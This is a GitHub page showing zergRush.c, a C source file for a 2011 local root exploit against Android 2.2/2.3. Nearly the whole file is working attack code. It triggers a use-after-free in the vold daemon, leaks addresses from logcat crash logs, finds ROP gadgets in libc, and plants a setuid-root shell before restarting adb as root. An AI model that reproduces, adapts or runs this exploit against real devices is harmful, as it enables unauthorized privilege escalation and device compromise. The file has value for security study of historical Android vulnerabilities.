Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
zergRush/zergRush.c
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
653 lines (546 sloc)
14.5 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* zergRush | |
| * android 2.2/2.3 libsysutils root exploit use-after-free | |
| * Copyright (c) 2011, The Revolutionary development team. | |
| * | |
| * This program is free software: you can redistribute it and/or modify it | |
| * under the terms of the GNU General Public License as published by the | |
| * Free Software Foundation, either version 3 of the License, or (at your | |
| * option) any later version. | |
| * | |
| * This program is distributed in the hope that it will be useful, but | |
| * WITHOUT ANY WARRANTY; without even the implied warranty of | |
| * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General | |
| * Public License for more details. | |
| * | |
| * You should have received a copy of the GNU General Public License along | |
| * with this program. If not, see <http://www.gnu.org/licenses/>. | |
| */ | |
| /* | |
| * Exploited by rewriting a FrameworkCommand object making the runCommand | |
| * point to our first ROP gadget. | |
| * | |
| * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, | |
| * THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE | |
| * WARNED! I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE! | |
| * | |
| * It only works if called from adb shell since we need group log. | |
| * | |
| * Compile: | |
| * agcc zergRush.c -o zergRush -ldiskconfig -lcutils | |
| * | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <unistd.h> | |
| #include <string.h> | |
| #include <signal.h> | |
| #include <errno.h> | |
| #include <fcntl.h> | |
| #include <sys/mount.h> | |
| #include <sys/socket.h> | |
| #include <sys/select.h> | |
| #include <sys/time.h> | |
| #include <sys/types.h> | |
| #include <sys/un.h> | |
| #include <dirent.h> | |
| #include <dlfcn.h> | |
| #include <sys/system_properties.h> | |
| #include <cutils/sockets.h> | |
| #include <private/android_filesystem_config.h> | |
| static pid_t logcat_pid = 0; | |
| static char *sh = "/data/local/tmp/sh"; | |
| static char *bsh = "/data/local/tmp/boomsh"; | |
| static char *crashlog = "/data/local/tmp/crashlog"; | |
| static char *vold = "/system/bin/vold"; | |
| uint32_t heap_addr; | |
| uint32_t libc_base; | |
| uint32_t heap_base_addr; | |
| uint32_t heap_offset; | |
| uint32_t r9 = 0, r10 = 0, fp = 0; | |
| uint32_t stack_addr = 0x41414141; | |
| uint32_t system_ptr = 0; | |
| uint32_t stack_pivot = 0x41414141; | |
| uint32_t pop_r0 = 0x41414141; | |
| uint32_t jumpsz = 0; | |
| uint32_t gadget_jumpsz = 108; | |
| uint32_t buffsz = 0; | |
| uint32_t allbuffsz[] = {16,24,0}; | |
| uint8_t adjust = 0; | |
| uint8_t samsung = 0; | |
| extern char **environ; | |
| static void die(const char *msg) | |
| { | |
| perror(msg); | |
| exit(errno); | |
| } | |
| static int copy(const char *from, const char *to) | |
| { | |
| int fd1, fd2; | |
| char buf[0x1000]; | |
| int r = 0; | |
| if ((fd1 = open(from, O_RDONLY)) < 0) | |
| return -1; | |
| if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) { | |
| close(fd1); | |
| return -1; | |
| } | |
| for (;;) { | |
| r = read(fd1, buf, sizeof(buf)); | |
| if (r <= 0) | |
| break; | |
| if (write(fd2, buf, r) != r) | |
| break; | |
| } | |
| close(fd1); | |
| close(fd2); | |
| sync(); sync(); | |
| return r; | |
| } | |
| static int remount_data(const char *mntpoint) | |
| { | |
| FILE *f = NULL; | |
| int found = 0; | |
| char buf[1024], *dev = NULL, *fstype = NULL; | |
| if ((f = fopen("/proc/mounts", "r")) == NULL) | |
| return -1; | |
| memset(buf, 0, sizeof(buf)); | |
| for (;!feof(f);) { | |
| if (fgets(buf, sizeof(buf), f) == NULL) | |
| break; | |
| if (strstr(buf, mntpoint)) { | |
| found = 1; | |
| break; | |
| } | |
| } | |
| fclose(f); | |
| if (!found) | |
| return -1; | |
| if ((dev = strtok(buf, " \t")) == NULL) | |
| return -1; | |
| if (strtok(NULL, " \t") == NULL) | |
| return -1; | |
| if ((fstype = strtok(NULL, " \t")) == NULL) | |
| return -1; | |
| return mount(dev, mntpoint, fstype, MS_REMOUNT, 0); | |
| } | |
| static void *find_symbol(char *sym) | |
| { | |
| void *r = NULL; | |
| void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW); | |
| if (!dlh) | |
| die("[-] dlopen"); | |
| if ((r = (void *)dlsym(dlh, sym)) == NULL) | |
| die("[-] dlsym"); | |
| dlclose(dlh); | |
| return r; | |
| } | |
| static int bad_byte(uint8_t byte) | |
| { | |
| switch(byte) { | |
| case 0x20: | |
| case 0x22: | |
| case 0x5c: | |
| case 0x00: | |
| return 1; | |
| break; | |
| default: | |
| break; | |
| } | |
| return 0; | |
| } | |
| static void heap_oracle() { | |
| char ok = 1; | |
| if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000)) | |
| heap_addr = r9 + 0x70; | |
| else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000)) | |
| heap_addr = r10 + 0x70; | |
| else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000)) | |
| heap_addr = fp + 0x70; | |
| else | |
| ok = 0; | |
| while(bad_byte(heap_addr&0xff)) heap_addr += 0x20; | |
| if(ok) | |
| printf("[+] Overseer found a path ! 0x%08x\n", heap_addr); | |
| else { | |
| printf("[-] No path found, let's hope ...\n"); | |
| heap_addr = heap_base_addr + heap_offset; | |
| } | |
| } | |
| static int check_addr(uint32_t addr) | |
| { | |
| /* | |
| * Check if address contains one of the forbidden bytes | |
| */ | |
| int i = 0; | |
| for(i=0; i<32; i+=8) | |
| if(bad_byte((addr>>i) & 0xff)) | |
| return -1; | |
| return 0; | |
| } | |
| static int do_fault() | |
| { | |
| char buf[255]; | |
| int sock = -1, n = 0, i; | |
| char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5]; | |
| uint32_t bsh_addr; | |
| char padding[128]; | |
| int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz); | |
| if(samsung) { | |
| printf("[*] Sleeping a bit (~40s)...\n"); | |
| sleep(40); | |
| printf("[*] Waking !\n"); | |
| } | |
| memset(padding, 0, 128); | |
| strcpy(padding, "LORDZZZZzzzz"); | |
| if(padding_sz > 0) { | |
| memset(padding+12, 'Z', padding_sz); | |
| printf("[*] Popping %d more zerglings\n", padding_sz); | |
| } | |
| else if(padding_sz < 0) { | |
| memset(padding, 0, 128); | |
| memset(padding, 'Z', 12+padding_sz); | |
| } | |
| if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0) | |
| die("[-] Error creating Nydus"); | |
| sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff); | |
| sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff); | |
| sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff); | |
| sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff); | |
| sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff); | |
| if(adjust) | |
| strcpy(buf, "ZERGZERG"); | |
| else | |
| strcpy(buf, "ZERG"); | |
| strcat(buf, " ZZ "); | |
| strcat(buf, s_stack_pivot_addr); | |
| for(i=3; i < buffsz+1; i++) | |
| strcat(buf, " ZZZZ"); | |
| strcat(buf, " "); | |
| strcat(buf, s_heap_addr); | |
| n = strlen(buf); | |
| bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4; | |
| if(check_addr(bsh_addr) == -1) { | |
| printf("[-] Colossus, we're doomed!\n"); | |
| exit(-1); | |
| } | |
| sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff); | |
| n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0); | |
| printf("[*] Sending %d zerglings ...\n", n); | |
| if ((n = write(sock, buf, n+1)) < 0) | |
| die("[-] Nydus seems broken"); | |
| sleep(3); | |
| close(sock); | |
| return n; | |
| } | |
| static int find_rop_gadgets() | |
| { | |
| /* | |
| * add sp, #108 -> b01b | |
| * pop {r4, r5, r6, r7, pc} -> bdf0 | |
| * | |
| * pop {r0, pc} -> bd01 | |
| */ | |
| int fd; | |
| char r[2], d[2]; | |
| int n = 2; | |
| int bad = 0; | |
| if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1) | |
| die("[-] open"); | |
| lseek(fd, 0x10000, SEEK_SET); | |
| while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) { | |
| n = read(fd, r, 2); | |
| switch(r[0]) { | |
| case '\x1b': | |
| if(stack_pivot == 0x41414141) { | |
| if(r[1] == '\xb0') { | |
| n = read(fd, d, 2); | |
| if(d[0] == '\xf0' && d[1] == '\xbd') { | |
| stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1; | |
| if(check_addr(stack_pivot) == -1) | |
| stack_pivot = 0x41414141; | |
| } | |
| } | |
| } | |
| break; | |
| case '\x01': | |
| if(pop_r0 == 0x41414141) { | |
| if(r[1] == '\xbd') { | |
| pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1; | |
| if(check_addr(pop_r0) == -1) | |
| pop_r0 = 0x41414141; | |
| } | |
| } | |
| break; | |
| default: | |
| break; | |
| } | |
| } | |
| if (stack_pivot == 0x41414141) { | |
| printf("[-] You need more minerals !\n"); | |
| bad = -1; | |
| } | |
| if (pop_r0 == 0x41414141) { | |
| printf("[-] You need more vespene gas !\n"); | |
| bad = -1; | |
| } | |
| if(bad == -1) | |
| exit(-1); | |
| return 0; | |
| } | |
| static uint32_t checkcrash() | |
| { | |
| uint32_t fault_addr = 0; | |
| char buf[1024], *ptr = NULL; | |
| FILE *f = NULL; | |
| long pos = 0; | |
| int ret=0; | |
| system("/system/bin/logcat -c"); | |
| unlink(crashlog); | |
| if ((logcat_pid = fork()) == 0) { | |
| char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL}; | |
| execve(*a, a, environ); | |
| exit(1); | |
| } | |
| sleep(3); | |
| if (do_fault() < 0) | |
| die("[-] Zerglings did not cause crash"); | |
| /* Give logcat time to write to file | |
| */ | |
| sleep(3); | |
| if ((f = fopen(crashlog, "r")) == NULL) | |
| die("[-] Zerglings did not leave stuff at all"); | |
| fseek(f, pos, SEEK_SET); | |
| do { | |
| memset(buf, 0, sizeof(buf)); | |
| if (!fgets(buf, sizeof(buf), f)) | |
| break; | |
| if ((ptr = strstr(buf, " sp ")) != NULL) | |
| ret = 1; | |
| if ((ptr = strstr(buf, " r9 ")) != NULL) { | |
| ptr += 5; | |
| r9 = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| if ((ptr = strstr(buf, " 10 ")) != NULL) { | |
| ptr += 5; | |
| r10 = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| if ((ptr = strstr(buf, " fp ")) != NULL) { | |
| ptr += 5; | |
| fp = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| } while (!feof(f)); | |
| pos = ftell(f); | |
| fclose(f); | |
| return ret; | |
| } | |
| static uint32_t check_libc_base() | |
| { | |
| char buf[1024], *ptr = NULL; | |
| FILE *f = NULL; | |
| long pos = 0; | |
| int ret=0; | |
| uint32_t spotted_base = 0; | |
| if ((f = fopen(crashlog, "r")) == NULL) | |
| die("[-] Zerglings did not leave stuff at all"); | |
| fseek(f, pos, SEEK_SET); | |
| do { | |
| memset(buf, 0, sizeof(buf)); | |
| if (!fgets(buf, sizeof(buf), f)) | |
| break; | |
| if ((ptr = strstr(buf, " /system/lib/libc.so")) != NULL) { | |
| ptr -= 8; | |
| spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000; | |
| if(spotted_base && spotted_base != libc_base) { | |
| libc_base = spotted_base; | |
| ret = 1; | |
| } | |
| } | |
| } while (!feof(f) && !spotted_base); | |
| pos = ftell(f); | |
| fclose(f); | |
| return ret; | |
| } | |
| static uint32_t find_stack_addr() | |
| { | |
| uint32_t fault_addr = 0; | |
| char buf[1024], *ptr = NULL; | |
| FILE *f = NULL; | |
| long pos = 0; | |
| uint32_t sp=0, over=0; | |
| system("/system/bin/logcat -c"); | |
| unlink(crashlog); | |
| if ((logcat_pid = fork()) == 0) { | |
| char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL}; | |
| execve(*a, a, environ); | |
| exit(1); | |
| } | |
| sleep(3); | |
| if (do_fault() < 0) | |
| die("[-] Zerglings did not cause crash"); | |
| /* Give logcat time to write to file | |
| */ | |
| sleep(3); | |
| if ((f = fopen(crashlog, "r")) == NULL) | |
| die("[-] Zerglings did not leave stuff at all"); | |
| fseek(f, pos, SEEK_SET); | |
| do { | |
| memset(buf, 0, sizeof(buf)); | |
| if (!fgets(buf, sizeof(buf), f)) | |
| break; | |
| if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) { | |
| ptr -= 8; | |
| stack_addr = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) { | |
| ptr -= 8; | |
| over = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| if ((ptr = strstr(buf, " sp ")) != NULL && !sp) { | |
| ptr += 5; | |
| sp = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| if ((ptr = strstr(buf, " r9 ")) != NULL) { | |
| ptr += 5; | |
| r9 = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| if ((ptr = strstr(buf, " 10 ")) != NULL) { | |
| ptr += 5; | |
| r10 = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| if ((ptr = strstr(buf, " fp ")) != NULL) { | |
| ptr += 5; | |
| fp = (uint32_t)strtoul(ptr, NULL, 16); | |
| } | |
| } while (!feof(f)); | |
| pos = ftell(f); | |
| fclose(f); | |
| if(over && sp) | |
| jumpsz = over - sp; | |
| return stack_addr; | |
| } | |
| static void do_root() | |
| { | |
| remount_data("/data"); | |
| chown(sh, 0, 0); | |
| chmod(sh, 04711); | |
| property_set("ro.kernel.qemu","1"); | |
| exit(0); | |
| } | |
| int main(int argc, char **argv, char **env) | |
| { | |
| uint32_t i = 0, ok = 0; | |
| char *ash[] = {sh, 0}; | |
| struct stat st; | |
| char version_release[1024]; | |
| int tries=0; | |
| if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) | |
| do_root(); | |
| printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n"); | |
| printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n"); | |
| printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n"); | |
| if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) | |
| die("[-] Cannot copy boomsh."); | |
| chmod(bsh, 0711); | |
| stat(vold, &st); | |
| heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; | |
| __system_property_get("ro.build.version.release", version_release); | |
| if (strstr(version_release, "2.2")) { | |
| heap_offset = 0x108; | |
| printf("[+] Found a Froyo ! 0x%08x\n", heap_offset); | |
| } else if (strstr(version_release, "2.3")) { | |
| heap_offset = 0x118; | |
| printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset); | |
| } else { | |
| printf("[-] Not a 2.2/2.3 Android ...\n"); | |
| exit(-1); | |
| } | |
| heap_addr = 0xffffff; | |
| __system_property_get("ro.build.fingerprint", version_release); | |
| if(!strncmp(version_release, "samsung", 7)) { | |
| printf("[+] Found a Samsung, running Samsung mode\n"); | |
| samsung = 1; | |
| } | |
| system_ptr = (uint32_t) find_symbol("system"); | |
| libc_base = system_ptr & 0xfff00000; | |
| if (check_addr(system_ptr) == -1) { | |
| printf("[-] High templars, we're doomed!\n"); | |
| exit(-1); | |
| } | |
| tries = 0; | |
| printf("[*] Scooting ...\n"); | |
| while(buffsz=allbuffsz[tries]) { | |
| if(checkcrash()) { | |
| printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz); | |
| break; | |
| } | |
| tries++; | |
| } | |
| if(!buffsz) { | |
| printf("[-] Hellions with BLUE flames !\n"); | |
| exit(-1); | |
| } | |
| for (tries = 0; tries < 2; tries++) { | |
| heap_oracle(); | |
| find_stack_addr(); | |
| if (stack_addr != 0x41414141 && jumpsz) { | |
| printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz); | |
| break; | |
| } | |
| } | |
| if (stack_addr == 0x41414141 || !jumpsz) { | |
| printf("[-] Zerglings did not leave interesting stuff\n"); | |
| exit(-1); | |
| } | |
| if (check_addr(stack_addr) == -1) { | |
| if(bad_byte(stack_addr & 0xff)) { | |
| stack_addr += 4; | |
| adjust = 4; | |
| if (check_addr(stack_addr) == -1) { | |
| printf("[-] Siege tanks, we're doomed!\n"); | |
| exit(-1); | |
| } | |
| } | |
| else { | |
| printf("[-] Siege tanks, we're doomed!\n"); | |
| exit(-1); | |
| } | |
| } | |
| if (jumpsz > 108 + 12) { | |
| printf("[-] This terran has walled!\n"); | |
| exit(-1); | |
| } | |
| if(check_libc_base()) { | |
| system_ptr = libc_base + (system_ptr & 0x000fffff); | |
| printf("[*] Creating more creep 0x%08x ...\n", system_ptr); | |
| if (check_addr(system_ptr) == -1) { | |
| printf("[-] High templars, we're doomed!\n"); | |
| exit(-1); | |
| } | |
| } | |
| kill(logcat_pid, SIGKILL); | |
| unlink(crashlog); | |
| printf("[*] Researching Metabolic Boost ...\n"); | |
| find_rop_gadgets(); | |
| printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0); | |
| do_fault(); | |
| stat(sh, &st); | |
| if ((st.st_mode & 04000) == 04000) { | |
| char qemuprop[1]; | |
| printf("\n[+] Rush did it ! It's a GG, man !\n"); | |
| property_get("ro.kernel.qemu",qemuprop,"0"); | |
| if (qemuprop[0]=='1') { | |
| printf("[+] Killing ADB and restarting as root... enjoy!\n"); | |
| fflush(stdout); | |
| sleep(1); | |
| kill(-1, SIGTERM); | |
| } else { | |
| printf("[-] Failed to set property to restart adb. Not killing.\n"); | |
| } | |
| } else { | |
| printf("\n[-] Bad luck, our rush did not succeed :(\n"); | |
| fflush(stdout); | |
| sleep(1); | |
| kill(-1, SIGTERM); | |
| } | |
| return 0; | |
| } | |